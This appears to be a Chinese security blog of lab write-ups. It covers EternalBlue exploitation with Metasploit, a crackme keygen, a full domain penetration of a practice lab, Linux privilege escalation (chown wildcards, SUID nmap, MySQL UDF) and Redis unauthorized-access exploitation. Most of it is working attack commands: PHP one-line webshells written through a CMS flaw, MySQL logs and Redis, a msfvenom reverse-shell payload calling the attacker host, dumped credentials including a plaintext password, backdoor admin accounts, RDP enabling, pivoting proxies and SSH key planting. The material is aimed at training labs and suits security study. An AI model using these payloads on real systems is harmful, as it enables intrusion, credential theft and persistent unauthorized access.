使用nmap+ip 扫描

4.png

(2) .确认目标主机打开445端口后直接使用msf进行攻击

输入msfconsole 启动msf

输入search MS17-010

找到exploit windows/smb/ms17_010_eternalblue,

运行

use exploitwindows/smb/ms17_010_eternalblue

输入 show options 查看需要配置哪些信息

RHOSTS 为目标主机IP(10.1.1.2)

RPORT 为目标端口号(445)

LHOST 为监听主机IP(10.1.1.1)

5.png

image-20210410130809305

(3). 配置成功后设置tcp连接

输入命令

set payload windows/x64/meterpreter/reverse_tcp

(4).开始运行

输入 exploit/run

成功获取shell

image-20210410163228489

查看ip地址验证是否为目标主机。

(5)设立后门,在目标主机中创建一个用户

创建一个用户

net user test abc123.com /add

Username:test

password:abc123.com

将该用户加入管理员组,使其拥有管理员权限

net localgroup administrtors test /add

10.png

目标主机上用户创建成功

11.png

实验结束

TraceMe.exe注册机

打开程序,随便试一试

image-20210514154316260

通过OD打开该程序,它会自动定位到模块入口点0x004013A0位置,也就是验证函数的内容

image-20210514155349139

数据表中405030的数据,程序中需要用到

image-20210514155944624

汇编代码的如下

00401340  /$  55            push ebp
00401341  |.  8B6C24 0C     mov ebp,dword ptr ss:[esp+0xC]          ;ebp = 用户名
00401345  |.  56            push esi                                 ;  TraceMe.0040504F
00401346  |.  57            push edi
00401347  |.  8B7C24 18     mov edi,dword ptr ss:[esp+0x18]         ;edi = 用户名的长度
0040134B  |.  B9 03000000   mov ecx,0x3 ;ecx = 从用户名的第四个字符开始计算
00401350  |.  33F6          xor esi,esi     ;esi = 0 = 计算出的注册码                             ;  TraceMe.0040504F
00401352  |.  33C0          xor eax,eax     ;eax = 0,用于计数,读取数据表的第eax个字节
00401354  |.  3BF9          cmp edi,ecx     ;if(edi > ecx)
00401356  |.  7E 21         jle short   ;{ TraceMe.00401379
00401358  |.  53            push ebx
00401359  |>  83F8 07       /cmp eax,0x7    ; if(eax > 7)
0040135C  |.  7E 02         |jle short TraceMe.00401360
0040135E  |.  33C0          |xor eax,eax    ;{eax = 0;}
00401360  |>  33D2          |xor edx,edx    ;edx = 0;
00401362  |.  33DB          |xor ebx,ebx    ;ebx = 0
00401364  |.  8A1429        |mov dl,byte ptr ds:[ecx+ebp]   ; dl = ebp + ecx = 从用户名的第四个字符开始计算
00401367  |.  8A98 30504000 |mov bl,byte ptr ds:[eax+0x405030]  ;bl = 数据表第eax个字符,数据表的内存地址为0x00405030处,查找其数值为0C 0A 13 09 0C 0B 0A 08(根据判断语句0x00401359可知,只有8个数据)
0040136D  |.  0FAFD3        |imul edx,ebx   ;edx = edx * ebx
00401370  |.  03F2          |add esi,edx    ;esi = esi + edx
00401372  |.  41            |inc ecx    ;ecx++
00401373  |.  40            |inc eax    ;eax++;
00401374  |.  3BCF          |cmp ecx,edi    ;if(ecx<edi)   如果未取完用户名字符则继续
00401376  |.^ 7C E1         \jl short   ;{goto 0x00401359} TraceMe.00401359
00401378  |.  5B            pop ebx   ;计算结束                               ;  0012FAE8
00401379  |>  56            push esi                                 ; /<%ld> = 40504F (4214863.)

使用python写出注册机

def crake_traceme():
	code, len = 0, 0
	username = input("输入用户名")
	num = [0x0C, 0x0A, 0x13, 0x09, 0x0C, 0x0B, 0x0A, 0x08]
	for i in range(3, len(username)):
    	if len > 7:
        	len = 0
    	code += ord(username[i]) * num[len]
    	len += 1
	print("The code is:\n" + str(code))
crake_traceme()

image-20210418222548281)image-20210514155437404

一次域渗透测试攻击

第一次做渗透测试,有的地方做的不是很好

环境搭建

使用的靶机是红日安全提供的,地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

搭建过程中有一点需要注意

Web服务主机win7有两块网卡,需要在设置中再添加一块网卡

网卡一连接到VMnet2中,作为内网环境

网卡二连接到VMnet1中,作为公网环境,并攻击机连到VMnet1中,确保其可以访问网站主页

image-20210511130030032

剩下的两台域控主机直接连接到VMnet2中即可,可以与web服务器通信

修改window10物理机的VMnet1网卡

image-20210511214717086

这样物理机和kali都可以访问到靶机网站

实验拓扑图:

image-20210511124808522
  • web服务器(win7): 公网IP:192.168.74.128 内网IP: 192.168.52.143 主机名:stu1
  • 域成员主机(Windows Server 2003):192.168.52.141 主机名:root-tvi862ubeh
  • 域控(Windows Server 2008):192.168.52.138 主机名:owa

web服务器有两块网卡,其中192.168.74.128模拟的是公网环境,攻击者可以直接访问,192.168.52.143属于内网,攻击者无法直接访问

渗透过程

网站探测

首先访问网站主页: http://192.168.74.129/yxcms

image-20210511130446365

先扫描一下目录

image-20210511153857974

可以看存在很多可以访问的目录,并且这些目录都存在目录遍历漏洞,如/public,可以看到该目录下的很多内容,但是没有想要内容

image-20210511154129595

网站漏洞利用getshell

  • 经过探测网站的后台登录页面是http://192.168.74.129/yxcms/index.php?r=admin/index/login

    经过爆破很容易试出密码为123456

    成功登录后台

  • 尝试搜索网站已发现的漏洞

    这是一个网站常用的CMS,在网上搜索一下是否存在可以直接利用的漏洞

    代码审计| yxcms app 1.4.6 漏洞集合

    可以看到这个cms还是存在几个很好利用的漏洞的,尝试使用其中文件写入漏洞

    访问http://192.168.74.129/yxcms/index.php?r=admin/set/tpadd&Mname=default,这里可以写入php文件

    image-20210511155855512

写入一句话木马

image-20210511155949294

写入成功后,访问http://192.168.74.129/yxcms/protected/apps/default/view/default/info.php可以看到已经成功写入一句话木马,之后就是用蚁剑连接

image-20210511160216194

成功获取shell,并且是system权限,这是由于该网站管理员直接使用administrator登录域控主机,若是在真是环境中获取的是普通用户权限则还需要配合提权,获取system权限

image-20210511160418538

使用phpMyAdmin Getshell

扫描http://192.168.74.129/

image-20210511160728113

直接使用工具爆破,很容易得到,用户名和密码都为root

image-20210511132208919

一开始的想法是利用写into outfile写木马getshell,但是由于网站的secure_file_priv的值为NULL,所以我们不能利用写into outfile写木马getshell

image-20210511161606685

但是还有一种方法,就是向mysql日志中写入一句话木马,具体如下:mysql日志木马

执行下列命令

set global general_log=on;                                     #开启日志
set global general_log_file='C:/phpstudy/www/yxcms/hack.php';  #设置指定文件为网站日志存放文件
SELECT '<?php eval($_POST["cmd"]);?>'               		   #执行该语句,会将该命令写入日志文件

执行完命令,便可以在网站根目录下看到hack.php

image-20210511162058801

浏览器访问http://192.168.74.129/yxcms/hack.php,一句话木马访问成功

image-20210511162146968

后渗透攻击

在拿到了Web服务器的权限后,我们就要尽可能多的搜集该服务器的信息,然后搭建隧道通往内网。

执行whoami ,ipconfig,net localgroup administrators命令我们知道当前的用户身份是 administrator ,在管理员组中,并且处在域 god 中。该主机有两张网卡,分别是:192.168.74.129,192.168.52.143

image-20210511162608469image-20210511162902010

获取MSF shell

使用msf生成木马

  • kali终端输入msfconsole,进入msf

  • 选择带reverse和meterpreter(发送端接受端连接)的payloads进行反弹端口

    use windows/x64/meterpreter_reverse_tcp

    输入show options查看方法

  • 新开一个终端输入以下命令,生成木马文件,并利用蚁剑上传到目标主机中

msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.74.130 lport=4444 -f exe -o 1.exe
image-20210511163917527 image-20210511164107563
  • 再次输入msfconsole 进入应用,输入use exploit/multi/handler进入管理工具,获取shell权限,命令如下

    use exploit/multi/handler
    set payload windows/x64/meterpreter_reverse_tcp
    set lhost kali's ip
    run

    即可获取shell

image-20210511165317518

获取密码

meterpreter中运行run windows/gather/smart_hashdump,但是出现错误,提示需要system进程权限

image-20210511182726579

使用migrate 388将meterpreter迁移到64位的进程,而且该进程也需要是system权限运行的

再使用run windows/gather/smart_hashdump

image-20210511183026072

接下来是破解该密码

加载 kiwi模块

load kiwi
creds_all

结果如下

meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username       Domain  LM                                NTLM                              SHA1
--------       ------  --                                ----                              ----
Administrator  GOD     edea194d76c77d87840ac10a764c7362  8a963371a63944419ec1adf687bb1be5  343f44056ed02360aead5618dd42e4614b5f70cf
STU1$          GOD                                       cde51539f42c2854d74e82db1173dd8c  50950d918317edf0ab95661a565c6ebf1151fe3b

wdigest credentials
===================

Username       Domain  Password
--------       ------  --------
(null)         (null)  (null)
Administrator  GOD     hongrisec@2019
STU1$          GOD     81 c2 84 7c a6 0f 51 4b 41 91 b3 1a 0d 7e 56 32 0e 37 c7 77 f7 54 09 f4 f2 8b 54 cc 6b 20 7e 9c 56 46 e5 ee d9 d2 84 aa 6a 82 82 58 b1 ae bf 47 db 9f 53 9e c9 a1 5f bb ae a2 c3 7f 2d 37 9d c1 9a 25 95 f6 49 b8 a2 f1 cb 0a ad f2 b2 27 c8 36 b2 eb a5 d9 3c 10 ca 0c 38 18 63 fb 0d 7f 67 ec 37 87 84 e9 cc f3 d8 56 72 bc 0c cf e8 20 a7 93 07 29 3d b5 48 b6 33 de e9 df 3a 73 04 94 a7 90 e6 d5 4f ce a8 88 9e a5 18 78 e4 43 e8 5b e5 47 dc 0a 34 be 79 6a fa fe 7f d5 c6 38 48 79 53 7b 3f 8f 9e 78 31 cf 35 7b 12 93 e7 3a f1 0c de 90 d9 e5 69 02 a9 ab c6 da f2 09 2f 8a 0a ed 19 44 11 c4 ba 93 12 73 04 69 3a 31 4e ff b8 a7 72 da 4b 6e ad db e9 52 7f 88 cf 0f 01 92 87 68 ba 5a d1 d3 ec 1f c3 b1 a5 3b 44 e5 7b 9d 2f a9 28 5b

tspkg credentials
=================

Username       Domain  Password
--------       ------  --------
Administrator  GOD     hongrisec@2019

kerberos credentials
====================

Username       Domain   Password
--------       ------   --------
(null)         (null)   (null)
Administrator  GOD.ORG  hongrisec@2019
stu1$          GOD.ORG  81 c2 84 7c a6 0f 51 4b 41 91 b3 1a 0d 7e 56 32 0e 37 c7 77 f7 54 09 f4 f2 8b 54 cc 6b 20 7e 9c 56 46 e5 ee d9 d2 84 aa 6a 82 82 58 b1 ae bf 47 db 9f 53 9e c9 a1 5f bb ae a2 c3 7f 2d 37 9d c1 9a 25 95 f6 49 b8 a2 f1 cb 0a ad f2 b2 27 c8 36 b2 eb a5 d9 3c 10 ca 0c 38 18 63 fb 0d 7f 67 ec 37 87 84 e9 cc f3 d8 56 72 bc 0c cf e8 20 a7 93 07 29 3d b5 48 b6 33 de e9 df 3a 73 04 94 a7 90 e6 d5 4f ce a8 88 9e a5 18 78 e4 43 e8 5b e5 47 dc 0a 34 be 79 6a fa fe 7f d5 c6 38 48 79 53 7b 3f 8f 9e 78 31 cf 35 7b 12 93 e7 3a f1 0c de 90 d9 e5 69 02 a9 ab c6 da f2 09 2f 8a 0a ed 19 44 11 c4 ba 93 12 73 04 69 3a 31 4e ff b8 a7 72 da 4b 6e ad db e9 52 7f 88 cf 0f 01 92 87 68 ba 5a d1 d3 ec 1f c3 b1 a5 3b 44 e5 7b 9d 2f a9 28 5b

可以看到密码已经被破解处理

password:hongrisec@2019

远程桌面登录

已经获得了administrator的账号和密码,现在我们既可以使用administrator账号登录,也可以新建账号登录。

直接使用administrator登录的话可能被管理员发现,所以使用第二种方法

net user hack password  /add
net localgroup administrators hack /add
image-20210511183802017

查看主机是否开启3389端口

nmap -p 3389 -v 192.168.74.129
image-20210511184005186

可以发现是关闭的。

使用meterpreter,打开该端口(运行之前好像需要重新弹出shell,直接运行没有成功)

run post/windows/manage/enable_rdp
image-20210511184531850

再次扫描就会发现3389端口已经打开

image-20210511184630200

直接连接即可

image-20210511185014529

添加路由、挂Socks4a代理

  • 添加路由的目的是为了让我们的MSF其他模块能访问内网的其他主机

  • 添加socks4a代理的目的是为了让其他软件更方便的访问到内网的其他主机的服务

注:添加路由一定要在挂代理之前,因为代理需要用到路由功能

在获取shell的机器上添加路由

meterpreter > run get_local_subnets
meterpreter > run autoroute -s 192.168.21.0/24
# 添加路由
meterpreter > run autoroute -p
# 显示路由
meterpreter > route flush 
# 删除

使用run post/windows/gather/arp_scanner RHOSTS=192.168.21.0/24,查看存活的主机

image-20210511193307727

然后建立socks4代理

meterpreter > background
msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set srvhost 127.0.0.1
msf5 auxiliary(server/socks4a) > set srvport 1080
msf5 auxiliary(server/socks4a) > run
image-20210511195019515

设置完代理后攻击者主机就可以访问内网了

域信息收集

net time /domain        #查看时间服务器
net user /domain        #查看域用户
net view /domain        #查看有几个域
net group "domain computers" /domain         #查看域内所有的主机名
net group "domain admins"   /domain          #查看域管理员
net group "domain controllers" /domain       #查看域控

image-20210511200502702image-20210511200553874

image-20210511200623757image-20210511200650884

汇总

从域信息收集可以得到以下信息:

  • 域:god.org

  • 域内有三个用户:administrator、ligang、liukaifeng01

  • 域内有三台主机:DEV1(不在此环境中)、ROOT-TVI862UBEH、STU1

  • 域控:OWA(192.168.52.138)

  • 域管理员:administrator

由此可见,我们现在获得的即是域管理员权限。此环境内还有一台ROOT-TVI862UBEH(192.168.52.141)和域控OWA(192.168.52.138)。

内网主机信息收集

远程登录桌面后会看到一个Nmap应用,可以用这个探测内网主机

当然之前已经设置完代理了,也可以使用kali中的msf探测

内网存活主机探测

因为之前的代理搭建存在问题,导致这一步不能做,就在网上找了一些相关操作

在域环境渗透中可以省略,因为使用域命令可以直接查询域中有哪些主机。在非域环境中渗透,可以使用这一步。在这里顺带提一下这个用法。更多的关于使用MSF进行内网探测,传送门:后渗透阶段之基于MSF的内网主机探测

auxiliary/scanner/discovery/udp_sweep    #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe    #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname         #基于netbios协议发现内网存活主机

内网存活主机端口扫描

使用MSF自带模块进行端口探测

auxiliary/scanner/portscan/tcp           #基于tcp进行端口扫描(默认扫描1-10000)

也可以用nmap扫描

内网存活主机服务探测

auxiliary/scanner/ftp/ftp_version            #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version            #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version      #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp                #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version          #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title                 #探测内网http服务的标题
auxiliary/scanner/smb/smb_version            #发现内网smb服务,基于默认的445端口   
auxiliary/scanner/mssql/mssql_schemadump     #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump     #发现内网oracle服务,基于默认的1521端口 
auxiliary/scanner/mysql/mysql_version        #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner            #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server         #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version            #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname             #探测内网主机的netbios名字

提权复现

通配符提权

简介

通配符是一个字符或一组字符,可以用来替换某些范围/类别的字符。在执行任何其他操作之前,通配符首先要经过shell进行解释。

下面是一些常见的通配符:

* 星号可以与文件名中的任意数量的字符匹配,包括0个字符。

? 问号用于匹配任意单个字符。

[ ] 括号内包括一组字符,其中任何一个字符都可以匹配该位置上的单个字符。

– []中的连字符表示字符范围。

~ 单词开头的波浪符表示当前用户的主目录的名称。如果该字符后面是另一个用户的登录名,则表示该用户的主目录。

利用chown的--reference参数提权

–reference=<参考文件或目录>:把指定文件或目录的所有者与所属组,统统设置成和参考文件或目录的所有者与所属组相同。

本地提权

实验环境ubuntu18.04

首先创建一个hacker用户

adduser hacker

登录sunzy账号,在home/sunzy/test 随便写一些文件,作为实验参考对象

image-20210417165902255

登录hacker账号,并且在test目录下写两个文件

这里需要实验su命令提升权限,并且将所有者和用户组改为hacker

image-20210417170157713

其中hacker.php与’–reference=hacker.php’中的名字需要一致

使用root权限在/home/sunzy/test/执行

chown -R hacker1:hacker1 *.php

结果如下,发现,属于sunzy用户的文件,现在属于hacker,这样hacker就可以对这些文件进行读写操作。

image-20210417165619087

linux SUID提权

关于SUID

SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。

查找具有 SUID 权限位文件

以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

也可以使用 sudo -l 命令列出当前用户可执行的命令

image-20210425233650739

提权

nmap

nmap(2.02-5.21)存在交换模式,可利用提权

nmap --interactive

之后执行:

nmap> !sh
sh-3.2# whoami
root

msf中的模块为:

exploit/unix/local/setuid_nmap

较新版可使用 --script 参数:

echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse

kali nmap 7.7 提权成功:

mysql UDF提权

UDF提权原理

UDF指的是用户自定义函数,用户可以对数据库所使用的函数进行一个扩展(利用dll文件),从而定制一些符合自己需求的函数,但是同样的,当黑客获取了数据库的root用户的一个权限时,即使所在的系统权限很低,也可以使用UDF来自定义一个执行系统命令的函数,但是执行权限为管理员权限,从而可以用来添加管理员账户,远程连接。

这里使用mysql进行复现。

首先我们需要拥有mysql数据库的root权限,由于mysql的版本不同,udf提权的方式也不同。

mysql版本>5.1 需要在mysql的安装目录下创建 lib\plugin 这个文件夹(默认不存在),之后将把dll文件放在这个文件夹中;
mysql版本<5.1 需要将dll文件放在 C:\windows\或C:\windows\system32。

然后加载函数,就可以使用了。

注意:提权所用的dll在sqlmap或msf中都有,要与受害机的系统与数据库位数进行匹配。

在这里插入图片描述

msf提权演示

这里主要演示大于5.1的版本。
所以接下来创建目录,关于创建目录,下面的第二篇参考提供了一个使用NTFS ADS流的方式,大家可以进行尝试,这里我直接手工进行创建。

然后我们需要把自定义好的函数,也就是执行系统命令的函数加载进数据库中,我们需要先将定义好的一个dll放入lib\plugin这个文件夹,这里如果无法上传文件,我们可以创建一个数据表,将dll中的数据十六进制编码,之后在通过读取的方式写入到lib\plugin\udf.dll文件中,这样也是可以达到上传文件的效果的。
写入文件有一个前提,就是secure_file_priv这个选项需要为空值,这样才可以加载或写入文件。

在这里插入图片描述

NULL表示不可以写入
修改mysql.ini文件,使其为空值

在这里插入图片描述

这样一来就可以写入文件了。

但是这里我们利用msf进行攻击,需要远程连接该主机的数据库,所以要提前查看,该数据库是否可以远程连接。

在这里插入图片描述

这里发现root用户的连接对象都是本地,可以使用sql语句进行修改,将其改为允许远程连接

update user set host = '%' where user = 'root';

这条语句来修改连接对象为所有主机
之后尝试使用msf进行攻击。

进入msf,加载exploit/multi/mysql/mysql_udf_payload模块

image-20210425233528810

这里的需要mysql数据库的账号和密码,以及连接的主机。
设置完之后,尝试攻击。
攻击完之后,在受害机的lib\plugin目录下将会生成一个dll文件。
之后查看已载入的函数并尝试执行。

image-20210425233540791

执行成功返回0。
由于该命令没有回显,不方便,所以我们需要手动的加载一个有回显的函数。

image-20210425233551282

这里的dll文件的名称是msf随机的,利用该条命令载入了sys_eval函数

在这里插入图片描述

可以看到该条函数成功将执行结果回显出来了。

redis未授权访问漏洞利用

漏洞简介

Redis因配置不当就会导致未授权访问。在默认情况下,Redis会绑定在 0.0.0.0:6379。如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 Redis 服务直接暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问到目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,还可以利用 Redis 自身提供的config 命令进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

该漏洞的产生条件有以下两点:

1.redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
2.没有设置密码认证(一般为空),可以免密码(认证)远程登录redis服务。

漏洞危害:
(1) 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
(2) 攻击者可通过执行lua代码,或通过数据备份功能往磁盘写入后门文件;
(3) 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器;

环境搭建

在kali中安装redis 3.2.0

创建redis安装目录
mkdir /usr/local/redis
cd /usr/local/redis/
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
//获取redis压缩包
tar xzf redis-3.2.0.tar.gz
cd /usr/local/redis/redis-3.2.0
make #编译安装

安装完成之后需要修改配置文件,配置允许可以远程访问。

vim redis.conf #修改默认配置文件

在bind 127.0.0.1前面加上#号进行注释,并将protected-mode设置为no。

image-20210414153138387

然后进入src目录,将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了),并将redis.conf拷贝到/etc/目录下。

cd src
cp redis-cli /usr/bin
cp redis-server /usr/bin
cp redis.conf /etc/

开启redis服务

redis-server /etc/redis.conf
image-20210414153309311

第一台作为攻击机即可,然后将这台主机克隆作为目标主机

攻击机

ip:192.168.164.145

目标主机

ip:192.168.164.23

首先确定目标主机是否开启redis服务,使用nmap扫描端口6379

如下,显示了目标使用的redis版本以及服务器的信息

image-20210413225839841

漏洞利用

1.写入木马文件

首先进入redis安装目录的src中执行

./redis-cli -h 192.168.164.23

成功控制目标的redis服务

image-20210413230028713

向其网站根目录中写入一句话木马

config set dir /var/www/html

config set dbfilename shell.php

set x "<?php @eval($_POST['cmd']);?>"

save 

image-20210413230359912

save成功后,目标主机的网站根目录就出现了木马文件

image-20210413230408356

使用蚁剑连接

image-20210413230614612

2.写ssh-keygen公钥然后使用私钥进行登陆

写入ssh公钥后可以在本机存储对应的ssh密钥,然后直接无密码登陆。

首先生成公钥密钥文件

ssh-keygen -t rsa

cat /root/.ssh/id_rsa.pub
image-20210414131910830

继续使用命令

config set dir /root/.ssh/

config set authorized_keys

set x "\n\n\n\id_rsa.pub的内容\n\n\n"

save
image-20210414131805309

使用公钥连接

ssh -i id_rsa root@192.168.164.23

这里的id_rsa与创建ssh密钥输入的内容一致

image-20210414133547275

3.利用计划任务反弹shell

只能在centos环境中利用因为centos环境中的计划任务文件可以忽略乱码,ubuntu环境因为无法忽略文件中的乱码因此无法使用

漏洞修复

1、限制登录ip
在redis.conf文件中设置redis访问的ip白名单,如果项目允许的话最好设置为只允许本地访问。

2、添加密码
在redis.conf配置文件中找到requirepass并去掉前面的#, 然后在后面设置一个高强度的密码。因为redis验证密码的速度很快,给攻击者进行高速的爆破密码提供了一个良好的基础,所以设置一个高强度的密码不仅解决了未授权的问题还能防止密码爆破。

3、修改默认端口


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!

 目录

Copyright © 2020 my blog
载入天数... 载入时分秒...